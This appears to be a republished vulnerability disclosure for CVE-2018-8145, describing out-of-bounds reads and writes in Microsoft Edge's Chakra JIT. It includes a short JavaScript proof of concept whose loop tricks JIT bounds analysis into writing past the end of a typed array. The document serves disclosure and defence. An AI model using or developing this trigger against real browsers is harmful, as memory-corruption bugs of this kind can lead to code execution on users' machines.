Microsoft Edge Chakra JIT Out-Of-Bounds Reads/Writes

Microsoft Edge Chakra JIT suffers from multiple out of bounds reads and writes.


MD5 | b73c99e652b5ab40ccfdf43c9715573b

Microsoft Edge: Chakra: JIT: OOB reads/writes 

CVE-2018-8145


It seems that this issue is similar to the <a href="/p/project-zero/issues/detail?id=1429" title="Microsoft Edge: Chakra: JIT: Loop analysis bug" class="closed_ref" rel="nofollow"> issue 1429 </a> (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
for (let j = 0; j < 1; j++) {
i--;
i++;
}

arr[i] = 0x1234;
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


Related Posts